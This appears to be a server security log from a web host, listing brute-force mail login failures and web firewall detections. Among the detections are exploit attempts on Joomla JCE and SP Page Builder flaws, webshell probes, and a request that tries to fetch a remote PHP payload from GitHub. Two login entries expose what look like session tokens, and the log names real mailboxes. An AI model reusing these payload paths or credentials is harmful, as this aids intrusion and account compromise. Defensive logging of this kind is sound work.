plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.187.2
country_id: 1269750
description:
2026-07-16 11:34:28 dovecot_login authenticator failed for H=([195.158.26.59]) [128.185.187.2]:53190: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: modsec
rule: 77350026
name: IM360 WAF: Track suspicious Spring Framework requests
abuser: 193.109.120.200
country_id: 453733
domain: 103.185.74.189
description:
IM360 WAF: Track suspicious Spring Framework requests||RSV:8.29||T:APACHE||MVN:ARGS:settings[customclass]||MV:HUXSSCHKxf27e4lf||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.98.104.138
country_id: 1562822
description:
2026-07-16 11:37:07 dovecot_login authenticator failed for H=([211.220.156.232]) [116.98.104.138]:54324: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.121.255.194
country_id: 798549
description:
2026-07-16 11:37:25 dovecot_login authenticator failed for H=([174.64.199.77]) [89.121.255.194]:42624: 535 Incorrect authentication data (set_id=khalid)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.252.224.120
country_id: 1210997
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/telephone-and-communication-systems-pabx HTTP/1.1||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.19.218.50
country_id: 1269750
description:
2026-07-16 11:40:29 dovecot_login authenticator failed for H=(46-10-56-170.ip.btc-net.bg) [125.19.218.50]:52816: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 67.43.243.158
country_id: 6252001
description:
2026-07-16 11:40:42 dovecot_login authenticator failed for H=67-43-243-158.fidnet.com ([103.50.5.94]) [67.43.243.158]:46132: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 103.87.142.137
country_id: 1269750
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"https://delhi.delhihotelsqueen.com/call-girl-in-mumbai.html\">Mumbai call girls</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77350026
name: IM360 WAF: Track suspicious Spring Framework requests
abuser: 193.109.120.200
country_id: 453733
domain: 103.185.74.189
description:
IM360 WAF: Track suspicious Spring Framework requests||RSV:8.29||T:APACHE||MVN:ARGS:settings[customclass]||MV:HUXSSCHKvyalmxe4||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.202.206.119
country_id: 1819730
description:
2026-07-16 11:41:30 dovecot_login authenticator failed for H=(static-ip-181540165138.cable.net.co) [121.202.206.119]:53138: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.25.107.172
country_id: 1668284
description:
2026-07-16 11:40:56 dovecot_login authenticator failed for H=110-25-107-172.adsl.fetnet.net (dynamic-ip-19015713210.cable.net.co) [110.25.107.172]:60324: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.111.223.51
country_id: 2635167
description:
2026-07-16 11:41:07 dovecot_login authenticator failed for H=cpc145672-oxfd28-2-0-cust818.4-3.cable.virginm.net (70.223.14.190.shadwell.com.pa) [81.111.223.51]:54900: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: modsec
rule: 77469916
abuser: 103.47.132.66
country_id: 1643084
domain: gsmex.global
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:jce-cxzbal-.htaccess||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.102.190
country_id: 1269750
description:
2026-07-16 11:42:25 dovecot_login authenticator failed for H=([49.124.149.50]) [182.95.102.190]:52430: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.5.117.238
country_id: 1694008
description:
2026-07-16 11:42:45 dovecot_login authenticator failed for H=([58.30.60.250]) [210.5.117.238]:49734: 535 Incorrect authentication data (set_id=prasad.k)


plugin: modsec
rule: 77469916
abuser: 188.119.13.174
country_id: 298795
domain: globalgroupoman.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:jced9m3m7xl.xml.php||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77350572
name: IM360 WAF: Link shorteners usage
abuser: 38.248.19.103
country_id: 1643084
domain: alnayza.com
description:
IM360 WAF: Link shorteners usage||MVN:ARGS:image_url||MV:https://raw.githubusercontent.com/haxorsme/kudakepalatigakakilima/refs/heads/main/aw.php||User:alnay||SC:/home/alnay/public_html/index.php||WPU:||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 38.252.185.146
country_id: 3625428
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/be3667999 HTTP/1.1||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.192.211.180
country_id: 1269750
description:
2026-07-16 11:56:00 dovecot_login authenticator failed for H=([174.64.199.88]) [203.192.211.180]:37724: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.31.197.71
country_id: 1835841
description:
2026-07-16 11:56:24 dovecot_login authenticator failed for H=([187.76.245.170]) [182.31.197.71]:57395: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.131.220.152
country_id: 1835841
description:
2026-07-16 11:57:28 dovecot_login authenticator failed for H=([85.227.82.3]) [121.131.220.152]:56180: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.108.109.37
country_id: 1835841
description:
2026-07-16 11:57:46 dovecot_login authenticator failed for H=([49.124.149.202]) [222.108.109.37]:42409: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 161.142.156.169
country_id: 1733045
domain: ahsmarine.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:13951.ahsmarine.com||ServerName:ahsmarine.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:07a76b57c59fbc8a46c80baaf21eb4cec49e0399||Title:0xe3e83742||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.188.93.169
country_id: 337996
description:
2026-07-16 11:58:36 dovecot_login authenticator failed for H=([131.189.214.140]) [196.188.93.169]:5311: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: modsec
rule: 77469916
abuser: 38.248.19.103
country_id: 1643084
domain: alnayza.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:jceqt20dltk.xml.php||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.188.187.205
country_id: 337996
description:
2026-07-16 11:59:24 dovecot_login authenticator failed for H=([72.207.113.126]) [196.188.187.205]:44416: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.141.202
country_id: 99237
description:
2026-07-16 11:59:00 dovecot_login authenticator failed for H=([49.124.153.12]) [65.20.141.202]:59791: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 4.193.175.44
country_id: 1880251
domain: ogocindia.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.29||T:APACHE||MV:/wp-content/uploads/admin.php||SC:/home/ogocindia/public_html/wp-content||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.77.214.59
country_id: 1835841
description:
2026-07-16 12:00:26 dovecot_login authenticator failed for H=([121.159.71.249]) [220.77.214.59]:47844: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.176.160.146
country_id: 1269750
description:
2026-07-16 12:00:09 dovecot_login authenticator failed for H=([197.251.204.41]) [103.176.160.146]:55824: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.177.245.198
country_id: 357994
description:
2026-07-16 12:00:54 dovecot_login authenticator failed for H=(static.navega.com.ni) [154.177.245.198]:51624: 535 Incorrect authentication data (set_id=cil)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 52.253.111.48
country_id: 1861060
domain: fefkadirectorsunion.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.29||T:APACHE||MV:/wp-content/uploads/admin.php||SC:/home/fefkadirectors/public_html/wp-content||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 155.4.31.215
country_id: 2661886
description:
2026-07-16 12:09:55 dovecot_login authenticator failed for H=h-155-4-31-215.a2204.priv.bahnhof.se (corporativo.static.gvt.net.br) [155.4.31.215]:40306: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.156.8.97
country_id: 1835841
description:
2026-07-16 12:10:38 dovecot_login authenticator failed for H=(ip-68-71-242-113.hosts.zerolag.com) [218.156.8.97]:43112: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 152.52.192.162
country_id: 1269750
description:
2026-07-16 12:11:01 dovecot_login authenticator failed for H=(broadband-95-84-137-185.ip.moscow.rt.ru) [152.52.192.162]:59254: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.98.104.138
country_id: 1562822
description:
2026-07-16 12:11:20 dovecot_login authenticator failed for H=(wsip-184-178-172-10.rn.hr.cox.net) [116.98.104.138]:57058: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 90.228.229.182
country_id: 2661886
description:
2026-07-16 12:10:53 dovecot_login authenticator failed for H=90-228-229-182-no600.tbcn.telia.com ([103.176.255.195]) [90.228.229.182]:41237: 535 Incorrect authentication data (set_id=nirmal)


plugin: modsec
rule: 77469916
abuser: 152.53.193.182
country_id: 6252001
domain: ibmcglobal.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:s839247.xml.php||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77469916
abuser: 172.233.161.200
country_id: 6252001
domain: ibmcglobal.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:s531601.xml.php||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.206.24.237
country_id: 1835841
description:
2026-07-16 12:15:21 dovecot_login authenticator failed for H=(atlanta-1.cdn77.com) [210.206.24.237]:54326: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 96.56.228.149
country_id: 6252001
description:
2026-07-16 12:20:12 dovecot_login authenticator failed for H=ool-6038e495.static.optonline.net ([111.26.167.166]) [96.56.228.149]:43696: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 207.254.71.129
country_id: 2963597
description:
2026-07-16 12:19:56 dovecot_login authenticator failed for H=([60.166.31.198]) [207.254.71.129]:60008: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.201.228.210
country_id: 99237
description:
2026-07-16 12:20:52 dovecot_login authenticator failed for H=(aes-static-225.77.144.59.airtel.in) [62.201.228.210]:51088: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 70.88.108.12
country_id: 6252001
description:
2026-07-16 12:21:19 dovecot_login authenticator failed for H=([184.185.2.1]) [70.88.108.12]:47352: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.179.20.60
country_id: 1562822
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/latest-news/bring-cinema-sound-and-smart-technology-into-your-space-with-metro-digital-media HTTP/1.1||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.219.228.242
country_id: 1036973
description:
2026-07-16 12:22:23 dovecot_login authenticator failed for H=(62-122-195-14.broadband.opcom.ru) [197.219.228.242]:45184: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.158.10
country_id: 99237
description:
2026-07-16 12:22:54 dovecot_login authenticator failed for H=(85.105.2.51.static.ttnet.com.tr) [65.20.158.10]:45937: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.91.181.205
country_id: 1269750
domain: arcrealtors.com.au
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:88778.arcrealtors.com.au||ServerName:arcrealtors.com.au||Method:metaWeblog.newPost||BlogID:1||TitleSHA:8c76a2a653c2b704edc8e788581fcd2a7b0ff736||Title:0xbe5353e3||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.120.57.125
country_id: 1668284
description:
2026-07-16 12:23:28 dovecot_login authenticator failed for H=221-120-57-125.emome-ip.hinet.net ([184.185.2.1]) [221.120.57.125]:37074: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.217.83.43
country_id: 1269750
domain: arcrealtors.com.au
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:61236.arcrealtors.com.au||ServerName:arcrealtors.com.au||Method:metaWeblog.newPost||BlogID:1||TitleSHA:02f8be578e0c3f3bfcf83dd02472ce77692cc170||Title:0x8b82b909||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77142267
name: IM360 WAF: Special shell symbol in request
abuser: 223.181.13.36
country_id: 1269750
domain: fefkadirectorsunion.com
description:
IM360 WAF: Special shell symbol in request||MV:director-photo|FULLPATH}||MVN:REQUEST_URI||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.250.19.91
country_id: 1269750
description:
2026-07-16 12:25:38 dovecot_login authenticator failed for H=([36.92.174.85]) [117.250.19.91]:56354: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.32.20.78
country_id: 3017382
description:
2026-07-16 12:26:07 dovecot_login authenticator failed for H=vps-5b692794.vps.ovh.net (nsg-corporate-250.230.187.122.airtel.in) [213.32.20.78]:60258: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: modsec
rule: 77469917
name: IM360 WAF: File upload on Joomla Content Editor JCE endpoint - tracking (CVE-2026-48907)
abuser: 34.87.54.31
country_id: 1880251
domain: yukticlick.com
description:
IM360 WAF: File upload on Joomla Content Editor JCE endpoint - tracking (CVE-2026-48907)||MVN:FILES:file||MV:hrj.txt||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 63.78.215.208
country_id: 6252001
description:
2026-07-16 12:28:30 dovecot_login authenticator failed for H=(138-97-64-146.westlink.net.br) [63.78.215.208]:40822: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.122.110
country_id: 1269750
description:
2026-07-16 12:28:48 dovecot_login authenticator failed for H=([121.66.63.189]) [182.95.122.110]:55830: 535 Incorrect authentication data


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.63.63.128
country_id: 6251999
domain: combinations.in
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.29||T:APACHE||MV:/wp-content/uploads/admin.php||SC:/home/combinations/public_html/wp-content||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 90.230.212.29
country_id: 2661886
description:
2026-07-16 12:39:07 dovecot_login authenticator failed for H=90-230-212-29-no2550.tbcn.telia.com ([110.185.173.167]) [90.230.212.29]:53308: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 223.25.108.2
country_id: 1643084
description:
2026-07-16 12:39:47 dovecot_login authenticator failed for H=ns1.sinergi.net.id (nsg-corporate-130.221.187.122.airtel.in) [223.25.108.2]:43790: 535 Incorrect authentication data (set_id=nirmal)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.141.202
country_id: 99237
description:
2026-07-16 12:42:05 dovecot_login authenticator failed for H=([49.124.153.31]) [65.20.141.202]:59788: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.19.218.50
country_id: 1269750
description:
2026-07-16 12:42:17 dovecot_login authenticator failed for H=([203.145.136.177]) [125.19.218.50]:56274: 535 Incorrect authentication data (set_id=cil)


plugin: ossec
rule: 11009
name: WHM login success
abuser: 223.181.13.36
country_id: 1269750
description:
[2026-07-16 12:42:26 +0530] info [whostmgrd] 223.181.13.36 NEW root:rG66amug2ftwBMKX address=223.181.13.36,app=whostmgrd,creator=root,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 223.181.13.36
country_id: 1269750
description:
[2026-07-16 12:42:40 +0530] info [cpaneld] 223.181.13.36 NEW fefkadirectors:NK9OHnZTNlsyAx8S address=223.181.13.36,app=cpaneld,creator=fefkadirectors,method=handle_form_login,path=loadsession:fefkadirectors:_fJRcd4xDZPluBt5,possessed=1,possessor=root


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.16.17.140
country_id: 2921044
description:
2026-07-16 12:43:22 dovecot_login authenticator failed for H=([220.82.8.82]) [94.16.17.140]:44090: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 69.115.178.196
country_id: 6252001
description:
2026-07-16 12:43:52 dovecot_login authenticator failed for H=ool-4573b2c4.dyn.optonline.net (187-51-84-86.customer.tdatabrasil.net.br) [69.115.178.196]:49122: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 76.49.199.97
country_id: 6252001
description:
2026-07-16 12:47:30 dovecot_login authenticator failed for H=([103.176.255.195]) [76.49.199.97]:40202: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.223.163.253
country_id: 660013
description:
2026-07-16 12:48:00 dovecot_login authenticator failed for H=dsl-hkibng42-50dfa3-253.dhcp.inet.fi ([95.82.7.89]) [80.223.163.253]:49372: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.189.207.0
country_id: 1643084
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/component/content/article/tx-nr696-7-2-channel-network-a-v-receiver?Itemid=101&catid=18 HTTP/1.1||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.154.80.51
country_id: 2245662
description:
2026-07-16 12:49:36 dovecot_login authenticator failed for H=([14.35.209.208]) [213.154.80.51]:46220: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.38.124
country_id: 1668284
description:
2026-07-16 12:50:17 dovecot_login authenticator failed for H=111-70-38-124.emome-ip.hinet.net ([14.35.209.208]) [111.70.38.124]:33219: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.92.51.188
country_id: 1269750
description:
2026-07-16 12:56:38 dovecot_login authenticator failed for H=([174.64.199.88]) [59.92.51.188]:46618: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.82.56.12
country_id: 1269750
description:
2026-07-16 12:56:50 dovecot_login authenticator failed for H=([111.26.177.216]) [183.82.56.12]:64440: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 95.70.149.146
country_id: 298795
domain: jaashsupplies.com
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/ico0lkmow/fonts/shfmza.phar||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77469916
abuser: 103.160.213.217
country_id: 1643084
domain: futuracare.com.au
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:nuclei-278e950cd57fa7291b9393e09f2fd0f7.xml.php||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 193.180.125.157
country_id: 2661886
description:
2026-07-16 13:02:06 dovecot_login authenticator failed for H=ip157.net-193-180-125.koping.net ([59.6.72.106]) [193.180.125.157]:33012: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.214.75.248
country_id: 298795
description:
2026-07-16 13:03:22 dovecot_login authenticator failed for H=([205.209.67.3]) [81.214.75.248]:32938: 535 Incorrect authentication data (set_id=mbt@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.209.30
country_id: 1269750
description:
2026-07-16 13:06:13 dovecot_login authenticator failed for H=(RZD-gw.transtelecom.net) [128.185.209.30]:35842: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.23.204.74
country_id: 1269750
description:
2026-07-16 13:06:25 dovecot_login authenticator failed for H=(223-197-153-135.static.imsbiz.com) [125.23.204.74]:35520: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.72.198.61
country_id: 1835841
description:
2026-07-16 13:07:49 dovecot_login authenticator failed for H=([102.210.149.95]) [220.72.198.61]:48635: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: modsec
rule: 77469916
abuser: 103.160.213.217
country_id: 1643084
domain: idealloanz.com.au
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:nuclei-8d2102c0a98be3708f41eafd2b41432e.xml.php||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.90.111.74
country_id: 1269750
description:
2026-07-16 13:08:21 dovecot_login authenticator failed for H=([36.138.44.211]) [59.90.111.74]:54042: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 176.10.203.54
country_id: 2661886
description:
2026-07-16 13:08:38 dovecot_login authenticator failed for H=h-176-10-203-54.a463.priv.bahnhof.se ([106.201.80.104]) [176.10.203.54]:54818: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 202.62.129.18
country_id: 2077456
description:
2026-07-16 13:08:00 dovecot_login authenticator failed for H=202-62-129-18.ip.vocus.network ([61.169.112.210]) [202.62.129.18]:62364: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.147.111
country_id: 1733045
description:
2026-07-16 13:09:39 dovecot_login authenticator failed for H=([183.71.251.66]) [49.124.147.111]:53264: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.224.62.206
country_id: 2464461
description:
2026-07-16 13:09:15 dovecot_login authenticator failed for H=([103.181.5.133]) [41.224.62.206]:38310: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.43.120.12
country_id: 1835841
description:
2026-07-16 13:09:26 dovecot_login authenticator failed for H=(host-78-79-210-205.mobileonline.telia.com) [211.43.120.12]:53739: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.226.26.5
country_id: 3469034
domain: futuracare.com.au
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.29||T:APACHE||MV:/wp-content/uploads/admin.php||SC:/home/futuracarecom/public_html/wp-content||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 37.75.131.138
country_id: 614540
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/9c770552 HTTP/1.1||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77093094
abuser: 34.31.88.250
country_id: 6252001
domain: jaashsupplies.com
description:


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 170.78.195.87
country_id: 3865483
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/solutions/home-theater-solutions HTTP/1.1||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.155.189
country_id: 1733045
description:
2026-07-16 13:22:53 dovecot_login authenticator failed for H=(reverse.anonet.in) [49.124.155.189]:41728: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 103.87.142.137
country_id: 1269750
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"https://delhi.delhihotelsqueen.com/call-girls-in-ghaziabad.html\">call girl in Ghaziabad</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.202.206.119
country_id: 1819730
description:
2026-07-16 13:23:25 dovecot_login authenticator failed for H=([174.77.111.220]) [121.202.206.119]:53158: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.90.27.83
country_id: 1643084
description:
2026-07-16 13:32:55 dovecot_login authenticator failed for H=(static-172.84.12.61-tataidc.co.in) [103.90.27.83]:52728: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.161.42.97
country_id: 1835841
description:
2026-07-16 13:32:10 dovecot_login authenticator failed for H=(dynamic-ip-19015713210.cable.net.co) [112.161.42.97]:59829: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.99.181.123
country_id: 2661886
description:
2026-07-16 13:34:04 dovecot_login authenticator failed for H=([98.178.72.4]) [65.99.181.123]:51159: 535 Incorrect authentication data (set_id=mail)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.155.189
country_id: 1733045
description:
2026-07-16 13:33:19 dovecot_login authenticator failed for H=([192.111.131.4]) [49.124.155.189]:46952: 535 Incorrect authentication data (set_id=mail)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 76.133.97.153
country_id: 6252001
description:
2026-07-16 13:33:44 dovecot_login authenticator failed for H=c-76-133-97-153.hsd1.ca.comcast.net ([115.144.178.210]) [76.133.97.153]:50718: 535 Incorrect authentication data (set_id=mail)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.90.111.74
country_id: 1269750
description:
2026-07-16 13:36:04 dovecot_login authenticator failed for H=(223-197-153-135.static.imsbiz.com) [59.90.111.74]:48296: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


